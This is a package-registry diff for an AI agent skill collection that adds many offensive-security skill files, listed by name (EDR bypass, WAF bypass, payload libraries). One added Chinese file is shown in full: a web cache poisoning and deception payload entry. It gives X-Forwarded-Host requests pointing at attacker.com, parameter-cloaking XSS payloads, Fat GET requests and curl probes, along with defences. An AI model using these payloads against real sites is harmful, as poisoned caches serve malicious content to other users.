opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,497 @@
|
|
|
1
|
+
# 缓存与CDN安全
|
|
2
|
+
|
|
3
|
+
_3 条 web payload_
|
|
4
|
+
|
|
5
|
+
### 缓存投毒 `cache-poisoning`
|
|
6
|
+
_Web缓存投毒攻击_
|
|
7
|
+
子类:**缓存投毒** · tags: `cache` `poisoning` `web-cache`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 目标使用缓存
|
|
11
|
+
- 缓存键配置不当
|
|
12
|
+
|
|
13
|
+
**攻击链:**
|
|
14
|
+
|
|
15
|
+
**探测缓存**
|
|
16
|
+
> 探测缓存状态
|
|
17
|
+
```
|
|
18
|
+
响应头: X-Cache: hit/miss
|
|
19
|
+
```
|
|
20
|
+
**语法解析:**
|
|
21
|
+
- `X-Cache` — 缓存状态头 _header_
|
|
22
|
+
|
|
23
|
+
**未键入头**
|
|
24
|
+
> 注入未键入头
|
|
25
|
+
```
|
|
26
|
+
X-Forwarded-Host: attacker.com
|
|
27
|
+
```
|
|
28
|
+
**语法解析:**
|
|
29
|
+
- `X-Forwarded-Host` — 常被用作缓存键但未包含在键中 _header_
|
|
30
|
+
|
|
31
|
+
**缓存投毒**
|
|
32
|
+
> 投毒缓存
|
|
33
|
+
```
|
|
34
|
+
GET /?q=test HTTP/1.1
|
|
35
|
+
Host: target.com
|
|
36
|
+
X-Forwarded-Host: attacker.com
|
|
37
|
+
```
|
|
38
|
+
**语法解析:**
|
|
39
|
+
- `attacker.com` — 恶意主机,将被缓存 _domain_
|
|
40
|
+
|
|
41
|
+
**Fat GET**
|
|
42
|
+
> Fat GET投毒
|
|
43
|
+
```
|
|
44
|
+
GET / HTTP/1.1
|
|
45
|
+
Host: target.com
|
|
46
|
+
Content-Length: 10
|
|
47
|
+
|
|
48
|
+
q=poisoned
|
|
49
|
+
```
|
|
50
|
+
**语法解析:**
|
|
51
|
+
- `Content-Length` — 包含请求体的GET请求 _header_
|
|
52
|
+
|
|
53
|
+
**WAF/EDR 绕过变体:**
|
|
54
|
+
|
|
55
|
+
**未键入头部(Unkeyed Headers)利用**
|
|
56
|
+
> 识别不包含在缓存键中但影响响应内容的HTTP头(如X-Forwarded-Host),通过重复发送携带恶意头的请求将投毒响应存入缓存
|
|
57
|
+
```
|
|
58
|
+
# 常见未键入头:
|
|
59
|
+
X-Forwarded-Host: attacker.com
|
|
60
|
+
X-Forwarded-Scheme: http
|
|
61
|
+
X-Original-URL: /malicious
|
|
62
|
+
X-Forwarded-Prefix: /evil
|
|
63
|
+
|
|
64
|
+
# 发现未键入头:
|
|
65
|
+
# 使用Param Miner Burp扩展自动检测
|
|
66
|
+
# 手动对比: 添加头后响应是否变化但缓存键相同
|
|
67
|
+
|
|
68
|
+
# 投毒步骤:
|
|
69
|
+
# 1. 发送带恶意头的请求直到缓存命中
|
|
70
|
+
# 2. 验证其他用户访问同一URL时收到投毒响应
|
|
71
|
+
```
|
|
72
|
+
**语法解析:**
|
|
73
|
+
- `# 常见未键入头:` — 主要命令 _command_
|
|
74
|
+
- `...` — 共11行 _value_
|
|
75
|
+
|
|
76
|
+
**参数伪装与HTTP/2专属头投毒**
|
|
77
|
+
> 利用UTM等追踪参数不被缓存键包含的特性注入恶意内容,或使用Fat GET请求体覆盖查询参数,HTTP/2独有伪头触发差异化处理
|
|
78
|
+
```
|
|
79
|
+
# 参数伪装(Parameter Cloaking):
|
|
80
|
+
# UTM参数通常不在缓存键中:
|
|
81
|
+
/page?utm_content=<script>alert(1)</script>
|
|
82
|
+
/page?callback=alert(1)&utm_source=x
|
|
83
|
+
|
|
84
|
+
# Fat GET投毒:
|
|
85
|
+
GET /api/data HTTP/1.1
|
|
86
|
+
Content-Type: application/x-www-form-urlencoded
|
|
87
|
+
Content-Length: 15
|
|
88
|
+
|
|
89
|
+
q=<script>alert(1)</script>
|
|
90
|
+
|
|
91
|
+
# HTTP/2专属头:
|
|
92
|
+
:method: GET
|
|
93
|
+
:path: /
|
|
94
|
+
transfer-encoding: chunked
|
|
95
|
+
```
|
|
96
|
+
**语法解析:**
|
|
97
|
+
- `# 参数伪装(Parameter Cloaking):
|
|
98
|
+
# UTM参数通常不在缓存键中:
|
|
99
|
+
/page?utm_content=` — 注入代码 _value_
|
|
100
|
+
- `<script>` — HTML标签/事件处理器 _tag_
|
|
101
|
+
- `alert(1)` — 注入代码 _value_
|
|
102
|
+
- `</script>` — HTML标签/事件处理器 _tag_
|
|
103
|
+
- `
|
|
104
|
+
/page?callback=alert(1)&utm_source=x
|
|
105
|
+
|
|
106
|
+
# Fat GET投毒:
|
|
107
|
+
GET /api/data HTTP/1.1
|
|
108
|
+
Content-Type: application/x-www-form-urlencoded
|
|
109
|
+
Content-Length: 15
|
|
110
|
+
|
|
111
|
+
q=` — 注入代码 _value_
|
|
112
|
+
- `<script>` — HTML标签/事件处理器 _tag_
|
|
113
|
+
- `alert(1)` — 注入代码 _value_
|
|
114
|
+
- `</script>` — HTML标签/事件处理器 _tag_
|
|
115
|
+
- `
|
|
116
|
+
|
|
117
|
+
# HTTP/2专属头:
|
|
118
|
+
:method: GET
|
|
119
|
+
:path: /
|
|
120
|
+
transfer-encoding: chunked` — 注入代码 _value_
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
**概述:** Web缓存投毒是利用缓存服务器的缓存键(Cache Key)与实际响应内容不一致的漏洞,通过在非缓存键的HTTP头或参数中注入恶意内容,使缓存服务器存储包含恶意payload的响应,后续访问相同URL的所有用户都将收到被投毒的响应
|
|
124
|
+
|
|
125
|
+
**漏洞原理:** 缓存投毒的根因在于缓存键通常只包含URL路径和少量参数,而Web应用可能会将非缓存键的HTTP头(如X-Forwarded-Host、X-Forwarded-Scheme)反射到响应中。当攻击者通过这些头注入恶意内容时,缓存服务器会将含有恶意内容的响应缓存并分发给所有用户
|
|
126
|
+
|
|
127
|
+
**利用方法:** 首先识别目标使用的缓存机制(通过Cache-Control、Age、X-Cache等响应头),然后使用Param Miner等工具探测可被反射到响应中的非缓存键HTTP头,构造包含恶意JavaScript的头值(如X-Forwarded-Host: evil.com),发送请求使缓存存储被投毒的响应,验证后续无恶意头的正常请求是否返回投毒内容
|
|
128
|
+
|
|
129
|
+
**防御措施:** 严格配置缓存键包含所有影响响应内容的参数和头部;对反射到响应中的HTTP头值进行严格的输入验证和编码;使用Vary头正确声明影响响应的HTTP头;配置缓存不缓存包含用户特定内容的响应;定期审计缓存配置和清除可疑缓存内容
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
### 缓存欺骗 `cache-deception`
|
|
134
|
+
_利用Web缓存和服务器路径解析的差异,诱导CDN/缓存层缓存包含敏感信息的动态页面_
|
|
135
|
+
子类:**Deception** · tags: `cache` `deception` `auth`
|
|
136
|
+
|
|
137
|
+
**前置条件:**
|
|
138
|
+
- 目标使用CDN或反向代理缓存
|
|
139
|
+
- 路径解析存在差异(后端忽略路径后缀)
|
|
140
|
+
- 缓存策略基于URL扩展名
|
|
141
|
+
|
|
142
|
+
**攻击链:**
|
|
143
|
+
|
|
144
|
+
**探测缓存行为**
|
|
145
|
+
> 检测目标的缓存层和缓存策略配置
|
|
146
|
+
_platform: linux_
|
|
147
|
+
```
|
|
148
|
+
# 检测是否存在缓存层:
|
|
149
|
+
curl -sI "http://target.com/" | grep -iE "x-cache|cf-cache|age:|via:|x-cdn|cache-control"
|
|
150
|
+
|
|
151
|
+
# 测试缓存策略(静态文件是否被缓存):
|
|
152
|
+
curl -sI "http://target.com/test.css" | grep -iE "x-cache|age"
|
|
153
|
+
curl -sI "http://target.com/test.js" | grep -iE "x-cache|age"
|
|
154
|
+
curl -sI "http://target.com/test.jpg" | grep -iE "x-cache|age"
|
|
155
|
+
|
|
156
|
+
# 对比动态页面:
|
|
157
|
+
curl -sI "http://target.com/account" | grep -iE "x-cache|age|cache-control"
|
|
158
|
+
```
|
|
159
|
+
**语法解析:**
|
|
160
|
+
- `X-Cache` — 缓存命中状态头(HIT/MISS) _value_
|
|
161
|
+
